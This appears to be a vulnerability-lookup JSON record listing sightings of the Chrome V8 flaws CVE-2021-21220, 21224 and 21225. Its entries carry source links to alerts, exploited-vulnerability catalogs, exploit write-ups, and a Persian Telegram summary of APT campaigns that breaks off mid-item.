{"vulnerability": "cve-2021-2122", "sightings": [{"uuid": "0992b3f7-127c-47ea-9726-df4bbcca853c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "MISP/df23874b-e926-4e6f-b80e-c8a58279bcb0", "content": "", "creation_timestamp": "2021-06-10T08:24:58.000000Z"}, {"uuid": "3645c68b-8029-41a3-96bf-6a4ad57bd5ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:18.000000Z"}, {"uuid": "5e212829-72d7-46b0-8634-bdbe6905c7c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "5b354f32-e020-4e06-9e1b-4d9ec6a8979e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "05815457-e007-4fed-b1a3-43fd0eb63f4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:18.000000Z"}, {"uuid": "0c7e28f6-e07f-4b61-b4c5-300e1b472624", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "MISP/95aab77b-4f78-4454-9ba6-7b45b47879c3", "content": "", "creation_timestamp": "2024-11-14T06:09:28.000000Z"}, {"uuid": "e51715e9-12e3-435b-9046-dd49d27a3cb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "MISP/5e54b906-3700-42a0-8c7a-f357f363687d", "content": "", "creation_timestamp": "2024-11-14T06:09:04.000000Z"}, {"uuid": "6b4f9e5a-dabf-4cad-a40d-089fbb3b12ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971062", "content": "", "creation_timestamp": "2024-12-24T20:23:43.688991Z"}, {"uuid": "29429c7e-b7a2-4430-ab98-9fd81699143d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971064", "content": "", "creation_timestamp": "2024-12-24T20:23:45.729354Z"}, {"uuid": "7e556da5-cf6b-4dd5-a580-34c41d1649b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "fca293ca-7729-494c-8526-08528532833c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:33.000000Z"}, {"uuid": "454b2af0-ca40-415c-91f2-d2e56aa595ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:52.000000Z"}, {"uuid": "3594d951-b684-44e6-a421-05728b7afbbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:52.000000Z"}, {"uuid": "f58c9a3e-dd2a-4e7f-9779-2a4698d8b93f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2021-21224", "type": "seen", "source": "https://gist.github.com/cyberriman/6c2fa14e75180fb2521c4bf93afa8bd2", "content": "", "creation_timestamp": "2025-11-01T12:11:02.000000Z"}, {"uuid": "400908c6-0496-4a2f-949e-4a0159491328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:01:25.000000Z"}, {"uuid": "d5326cc0-413e-4cd0-a484-014f73661572", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation.rb", "content": "", "creation_timestamp": "2021-04-30T22:04:04.000000Z"}, {"uuid": "52bfd1c1-4d37-4017-939e-a83c43abbefd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "seen", "source": "https://infosec.exchange/users/andersonc0d3/statuses/115663199332538168", "content": "", "creation_timestamp": "2025-12-04T20:32:42.184306Z"}, {"uuid": "fc5519f1-0dd1-4662-83d6-052de290c25f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "seen", "source": "https://bsky.app/profile/andersonc0d3.bsky.social/post/3m76td65fpk2x", "content": "", "creation_timestamp": "2025-12-04T20:39:20.005023Z"}, {"uuid": "b7022e37-ef4f-4111-abf0-41a99dc76319", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "seen", "source": "https://bsky.app/profile/andersonc0d3.bsky.social/post/3m76tdcisnk2x", "content": "", "creation_timestamp": "2025-12-04T20:39:20.527961Z"}, {"uuid": "a6af6562-7110-40e6-be09-f4d2f8a17e96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=568", "content": "", "creation_timestamp": "2021-04-14T04:00:00.000000Z"}, {"uuid": "6ed34bb7-9091-406b-a5f9-4d44d6d5a9c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=573", "content": "", "creation_timestamp": "2021-04-21T04:00:00.000000Z"}, {"uuid": "2e74d06a-d246-4481-b13d-216779f17187", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-21220", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/20f235ce-3d57-4e29-8c83-f338b7576c76", "content": "", "creation_timestamp": "2026-02-02T12:28:46.760768Z"}, {"uuid": "73e95d7a-9881-41f3-b274-a9719c5255c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-21224", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a07df2dc-7fdc-45c7-a08c-b415e537fc9e", "content": "", "creation_timestamp": "2026-02-02T12:28:46.546278Z"}, {"uuid": "c32b62b9-a2ec-4210-b0d7-6a84569bfe41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "published-proof-of-concept", "source": "https://t.me/cKure/8493", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Exploitation of CVE-2021-21220 \u2013 From Incorrect JIT Behavior to RCE.\n\nhttps://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce", "creation_timestamp": "2021-12-27T15:34:10.000000Z"}, {"uuid": "40e162c5-16c0-438e-8263-fca14f8dcfab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "published-proof-of-concept", "source": "https://t.me/D4RKW0R1D/6528", "content": "A Bug's Life: CVE-2021-21225\nIn this post, I want to showcase CVE-2021-21225, a vulnerability in V8's Array.prototype.concat implementation that I discovered in April 2021. It was used to gain code execution in Google Chrome's renderer process and won a $22000 bounty from Google which was donated to the EFF (matched by Google)\n\nhttps://tiszka.com/blog/CVE_2021_21225.html", "creation_timestamp": "2021-08-20T16:03:39.000000Z"}, {"uuid": "c17fea88-d547-4190-a6f5-d55b003ebc8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://t.me/ics_cert/625", "content": "\u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647\u060c \u0622\u0632\u0645\u0627\u06cc\u0634\u06af\u0627\u0647 \u06a9\u0633\u067e\u0631\u0633\u06a9\u06cc 10 \u06a9\u0645\u067e\u06cc\u0646 \u0645\u0631\u0645\u0648\u0632 APT \u0631\u0627 \u06a9\u0647 \u0628\u062f\u0648\u0646 \u0630\u06a9\u0631 \u0645\u0646\u0628\u0639 \u0628\u0627\u0642\u06cc \u0645\u0627\u0646\u062f\u0647 \u0627\u0646\u062f\u060c \u0627\u0641\u0634\u0627 \u0645\u06cc \u06a9\u0646\u062f.\n\n 1. \u067e\u0631\u0648\u0698\u0647 \u062a\u0627\u062c \u0645\u062d\u0644. \u06cc\u06a9 \u0686\u0627\u0631\u0686\u0648\u0628 \u067e\u06cc\u0686\u06cc\u062f\u0647 \u062c\u0627\u0633\u0648\u0633\u06cc \u06a9\u0647 \u0627\u0632 \u062f\u0648 \u0628\u0633\u062a\u0647 \u0645\u062e\u062a\u0644\u0641 \u062a\u0648\u06a9\u06cc\u0648 \u0648 \u06cc\u0648\u06a9\u0648\u0647\u0627\u0645\u0627 \u062a\u0634\u06a9\u06cc\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u062f\u0627\u062f\u0647 \u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0631\u0627 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0628\u06cc\u0634 \u0627\u0632 80 \u0645\u0627\u0698\u0648\u0644 \u0645\u062e\u062a\u0644\u0641 \u0628\u062f\u0632\u062f\u062f. \u062a\u0627\u062c \u0645\u062d\u0644 \u062d\u062f\u0627\u0642\u0644 5 \u0633\u0627\u0644 \u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u062f\u0631 \u06cc\u06a9 \u062d\u0645\u0644\u0647 \u0628\u0647 \u06cc\u06a9 \u0633\u0627\u0632\u0645\u0627\u0646 \u062f\u06cc\u067e\u0644\u0645\u0627\u062a\u06cc\u06a9 \u06a9\u0634\u0641 \u0634\u0648\u062f \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a.\n 2. DarkUniverse \u06cc\u06a9\u06cc \u062f\u06cc\u06af\u0631 \u0627\u0632 \u0686\u0627\u0631\u0686\u0648\u0628 \u0647\u0627\u06cc APT \u0627\u0633\u062a \u06a9\u0647 \u0627\u0632 \u0633\u0627\u0644 2009 \u062a\u0627 2017 \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0628\u0647 20 \u0633\u0627\u0632\u0645\u0627\u0646 \u063a\u06cc\u0631 \u0646\u0638\u0627\u0645\u06cc \u0648 \u0646\u0638\u0627\u0645\u06cc \u062f\u0631 \u06a9\u0634\u0648\u0631\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a. \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0641\u06cc\u0634\u06cc\u0646\u06af \u067e\u062e\u0634 \u0645\u06cc \u0634\u0648\u062f \u0648 \u0627\u0632 \u0686\u0646\u062f\u06cc\u0646 \u0645\u0627\u0698\u0648\u0644 \u0628\u0631\u0627\u06cc \u062c\u0627\u0633\u0648\u0633\u06cc \u062a\u0634\u06a9\u06cc\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a. \n3. \u067e\u0627\u0632\u0644 \u0633\u0627\u0632. \u062f\u0631 \u0622\u0648\u0631\u06cc\u0644 2021\u060c \u0645\u062d\u0642\u0642\u0627\u0646 \u0686\u0646\u062f\u06cc\u0646 \u062d\u0645\u0644\u0647 \u0647\u062f\u0641\u0645\u0646\u062f \u0631\u0627 \u0628\u0631 \u0627\u0633\u0627\u0633 \u0632\u0646\u062c\u06cc\u0631\u0647 \u067e\u06cc\u0686\u06cc\u062f\u0647 \u0627\u06cc \u0627\u0632 \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0647\u0627\u06cc 0 \u0631\u0648\u0632\u0647 \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0646\u062f. CVE-2021-21224 \u062f\u0631 Google Chrome \u0628\u0631\u0627\u06cc \u0646\u0641\u0648\u0630 \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645 \u062f\u0631 \u0627\u0631\u062a\u0628\u0627\u0637 \u0628\u0627 CVE-2021-31955 \u0648 CVE-2021-31956 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f. \u067e\u0633 \u0627\u0632 \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u0648\u0641\u0642\u06cc\u062a \u0622\u0645\u06cc\u0632\u060c \u0628\u0633\u062a\u0647 \u0645\u062e\u0631\u0628 PuzzleMaker \u06a9\u0647 \u0645\u062e\u0635\u0648\u0635 \u0647\u0631 \u0645\u0648\u0631\u062f \u0637\u0631\u0627\u062d\u06cc \u0634\u062f\u0647 \u0628\u0648\u062f\u060c \u0645\u0639\u0631\u0641\u06cc \u0634\u062f.\n 4. ProjectSauron \u0628\u0631\u0627\u06cc \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u062f\u0631 \u0633\u0627\u0644 2015 \u06a9\u0634\u0641 \u0634\u062f. \u0627\u06cc\u0646 \u06cc\u06a9 \u067e\u0644\u062a \u0641\u0631\u0645 APT \u067e\u06cc\u0686\u06cc\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0631\u0627\u06cc \u062d\u0645\u0644\u0647 \u0628\u0647 \u0633\u0627\u0632\u0645\u0627\u0646 \u0647\u0627 \u062f\u0631 \u0631\u0648\u0633\u06cc\u0647\u060c \u0627\u06cc\u0631\u0627\u0646\u060c \u0631\u0648\u0627\u0646\u062f\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u0634\u0648\u062f. \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0627\u0632 \u0627\u06cc\u0645\u067e\u0644\u0646\u062a \u0647\u0627\u06cc \u0627\u0648\u0644\u06cc\u0647 \u0645\u0646\u062d\u0635\u0631 \u0628\u0647 \u0641\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u0634\u0648\u062f. \u06af\u0631\u0648\u0647 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646 ProjectSauron \u0632\u06cc\u0631\u0633\u0627\u062e\u062a \u067e\u06cc\u0686\u06cc\u062f\u0647 C2 \u0631\u0627 \u0628\u0627 \u0637\u06cc\u0641 \u06af\u0633\u062a\u0631\u062f\u0647 \u0627\u06cc \u0627\u0632 ISP \u0647\u0627 \u062f\u0631 \u0627\u06cc\u0627\u0644\u0627\u062a \u0645\u062a\u062d\u062f\u0647 \u0648 \u0627\u0631\u0648\u067e\u0627 \u0627\u062f\u0627\u0631\u0647 \u0645\u06cc \u06a9\u0646\u062f. \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0628\u0647 \u0627\u062d\u062a\u0645\u0627\u0644 \u0632\u06cc\u0627\u062f \u0627\u0632 \u062a\u062c\u0631\u0628\u0647 \u0633\u0627\u06cc\u0631 \u06a9\u0645\u067e\u06cc\u0646 \u0647\u0627\u06cc APT \u0645\u0627\u0646\u0646\u062f Duqu\u060c Flame\u060c Equation \u0648 Regin \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0646\u062f.\n 5.\u062f\u0632\u062f USB. \u062f\u0631 \u0633\u0627\u0644 2016\u060c ESET \u06cc\u06a9 \u062a\u0631\u0648\u062c\u0627\u0646 USB \u0628\u0627 \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645 \u0647\u0648\u0634\u0645\u0646\u062f\u0627\u0646\u0647 \u0645\u062d\u0627\u0641\u0638\u062a \u0627\u0632 \u062e\u0648\u062f \u0631\u0627 \u06a9\u0634\u0641 \u06a9\u0631\u062f. \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0627\u0632 \u0634\u0634 \u0641\u0627\u06cc\u0644 \u062a\u0634\u06a9\u06cc\u0644 \u0634\u062f\u0647 \u0628\u0648\u062f \u06a9\u0647 \u062f\u0648 \u062a\u0627\u06cc \u0622\u0646 \u0647\u0627 \u0641\u0627\u06cc\u0644 \u0647\u0627\u06cc \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u0648 \u0686\u0647\u0627\u0631 \u0641\u0627\u06cc\u0644 \u0628\u0627\u0642\u06cc \u0645\u0627\u0646\u062f\u0647 \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u0628\u0648\u062f\u0646\u062f. \u0622\u0646\u0647\u0627 \u0641\u0642\u0637 \u0628\u0627 \u06cc\u06a9 \u062a\u0631\u062a\u06cc\u0628 \u0645\u0639\u06cc\u0646 \u0631\u0627\u0647 \u0627\u0646\u062f\u0627\u0632\u06cc \u0645\u06cc \u0634\u062f\u0646\u062f \u0648 \u0628\u0631\u062e\u06cc \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 AES-128 \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc \u0634\u062f\u0646\u062f. \u06a9\u0644\u06cc\u062f \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0634\u0646\u0627\u0633\u0647 \u0645\u0646\u062d\u0635\u0631\u0628\u0647\u200c\u0641\u0631\u062f \u062f\u0633\u062a\u06af\u0627\u0647 USB \u0648 \u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u062f\u0631\u0627\u06cc\u0648 \u062e\u0627\u0635 \u0627\u06cc\u062c\u0627\u062f \u0634\u062f. \u0627\u06cc\u0646 \u0633\u0647 \u0641\u0627\u06cc\u0644 \u0627\u062c\u0631\u0627\u06cc\u06cc \u0644\u0648\u062f\u0631 \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 \u0647\u0631 \u06a9\u062f\u0627\u0645 \u0641\u0627\u06cc\u0644 \u0645\u0631\u062d\u0644\u0647 \u0628\u0639\u062f\u06cc \u0631\u0627 \u062f\u0631 \u062d\u0627\u0641\u0638\u0647 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0645\u06cc \u06a9\u0646\u0646\u062f. \u062f\u0627\u062f\u0647 \u0647\u0627\u06cc \u062f\u0632\u062f\u06cc\u062f\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u0647\u0645\u06cc\u0634\u0647 \u062f\u0631 \u062f\u0631\u0627\u06cc\u0648 USB \u0622\u0644\u0648\u062f\u0647 \u0622\u067e\u0644\u0648\u062f \u0645\u06cc \u0634\u0648\u0646\u062f. \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0628\u0627 \u06af\u0631\u0648\u0647 Lamberts APT \u0645\u0631\u062a\u0628\u0637 \u0628\u0627\u0634\u062f.\n 6. TENSHO (\u062a\u0648\u0631 \u0633\u0641\u06cc\u062f). \u062f\u0631 \u0627\u0648\u0627\u06cc\u0644 \u0633\u0627\u0644 2021\u060c \u0647\u0646\u06af\u0627\u0645 \u062c\u0633\u062a\u062c\u0648\u06cc \u0635\u0641\u062d\u0627\u062a \u0641\u06cc\u0634\u06cc\u0646\u06af\u060c \u0645\u062d\u0642\u0642\u0627\u0646 PwC \u0628\u0627 \u0635\u0641\u062d\u0647\u200c\u0627\u06cc \u0645\u0648\u0627\u062c\u0647 \u0634\u062f\u0646\u062f \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0633\u0631\u0642\u062a \u062d\u0633\u0627\u0628\u200c\u0647\u0627\u06cc \u0648\u0632\u0627\u0631\u062a \u062f\u0641\u0627\u0639 \u0635\u0631\u0628\u0633\u062a\u0627\u0646 \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06af\u0631\u0641\u062a. \u0627\u06cc\u0646 \u062a\u0648\u0633\u0637 \u06af\u0631\u0648\u0647 \u0646\u0627\u0634\u0646\u0627\u062e\u062a\u0647 \u0642\u0628\u0644\u06cc TENSHO \u06cc\u0627 White Tur \u0627\u06cc\u062c\u0627\u062f \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0627\u0632 \u0633\u0627\u0644 2017 \u0641\u0639\u0627\u0644 \u0628\u0648\u062f\u0647 \u0648 \u0627\u0632 \u0627\u0646\u0648\u0627\u0639 \u0631\u0648\u0634 \u0647\u0627 \u0648 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0645\u0646\u062d\u0635\u0631 \u0628\u0647 \u0641\u0631\u062f \u0627\u0632 \u062c\u0645\u0644\u0647 OpenHardwareMonitor \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u062f \u06a9\u0647 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 TENSHO \u0631\u0627 \u062f\u0631 \u0642\u0627\u0644\u0628 \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a PowerShell \u06cc\u0627 \u0641\u0627\u06cc\u0644 \u0627\u062c\u0631\u0627\u06cc\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc \u062f\u0647\u062f.\n 7.PlexingEagle. \u062f\u0631 \u06a9\u0646\u0641\u0631\u0627\u0646\u0633 HITBSec 2017 \u062f\u0631 \u0622\u0645\u0633\u062a\u0631\u062f\u0627\u0645\u060c Emmanuel Gadaix \u062f\u0631 \u0645\u0648\u0631\u062f \u06a9\u0634\u0641 \u0645\u062c\u0645\u0648\u0639\u0647 \u0628\u0633\u06cc\u0627\u0631 \u062c\u0627\u0644\u0628\u06cc \u0627\u0632 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u062c\u0627\u0633\u0648\u0633\u06cc \u0633\u0627\u06cc\u0628\u0631\u06cc \u062f\u0631 \u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc GSM \u0635\u062d\u0628\u062a \u06a9\u0631\u062f.\n 8. \u0633\u06cc\u0646 \u0633\u0648\u0646\u0648. \u062f\u0631 \u0645\u0627\u0647 \u0645\u0647 2021\u060c \u0634\u0631\u06a9\u062a \u0645\u062e\u0627\u0628\u0631\u0627\u062a\u06cc Syniverse \u062f\u0633\u062a\u0631\u0633\u06cc \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc IT \u062e\u0648\u062f \u0631\u0627 \u06a9\u0634\u0641 \u06a9\u0631\u062f. \u062a\u062d\u0642\u06cc\u0642\u0627\u062a \u062f\u0627\u062e\u0644\u06cc \u0646\u0634\u0627\u0646 \u062f\u0627\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0628\u0627\u0632\u06cc\u06af\u0631 \u0628\u0631\u0627\u06cc \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u062f\u0631 \u0633\u0627\u0644 2016 \u0628\u0647 \u0632\u06cc\u0631\u0633\u0627\u062e\u062a \u0646\u0641\u0648\u0630 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u062f\u0631 \u0637\u06cc \u067e\u0646\u062c \u0633\u0627\u0644\u060c \u062f\u0631 \u062d\u0627\u0644\u06cc \u06a9\u0647 \u0646\u0627\u0634\u0646\u0627\u062e\u062a\u0647 \u0645\u0627\u0646\u062f\u060c \u0627\u0632 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u0647\u0627\u06cc \u062f\u0627\u062e\u0644\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f \u0648 \u062a\u0648\u0627\u0646\u0633\u062a \u0627\u0639\u062a\u0628\u0627\u0631 \u0648\u0631\u0648\u062f \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645 EDT \u0631\u0627 \u0627\u0632 235 \u0645\u0634\u062a\u0631\u06cc \u0634\u0631\u06a9\u062a \u0628\u062f\u0632\u062f\u062f. \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0622\u0646\u0647\u0627\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u062d\u0631\u0645\u0627\u0646\u0647 \u0645\u0634\u062a\u0631\u06a9\u06cc\u0646\u060c \u0627\u0632 \u062c\u0645\u0644\u0647 \u0633\u0648\u0627\u0628\u0642 \u062a\u0645\u0627\u0633 \u0648 \u067e\u06cc\u0627\u0645\u06a9 \u062f\u0633\u062a\u0631\u0633\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0646\u0646\u062f.\n 9. MagicScroll \u06cc\u06a9 \u0686\u0627\u0631\u0686\u0648\u0628 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u067e\u06cc\u0686\u06cc\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u062f\u0631 \u0633\u0627\u0644 2019 \u062a\u0648\u0633\u0637 Palo Alto \u06a9\u0634\u0641 \u0634\u062f. \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0686\u0646\u062f \u0645\u0631\u062d\u0644\u0647 \u0627\u06cc \u0627\u0633\u062a. \u062a\u0646\u0647\u0627 \u0642\u0631\u0628\u0627\u0646\u06cc (\u0627\u0632 \u0631\u0648\u0633\u06cc\u0647) \u062f\u0631 \u0633\u0627\u0644 2017 \u0645\u0648\u0631\u062f \u062d\u0645\u0644\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a. \u0645\u06a9\u0627\u0646\u06cc\u0633\u0645 \u0639\u0641\u0648\u0646\u062a \u0627\u0648\u0644\u06cc\u0647 \u0646\u0627\u0634\u0646\u0627\u062e\u062a\u0647 \u0627\u0633\u062a. \u0645\u0631\u062d\u0644\u0647 \u0627\u0648\u0644 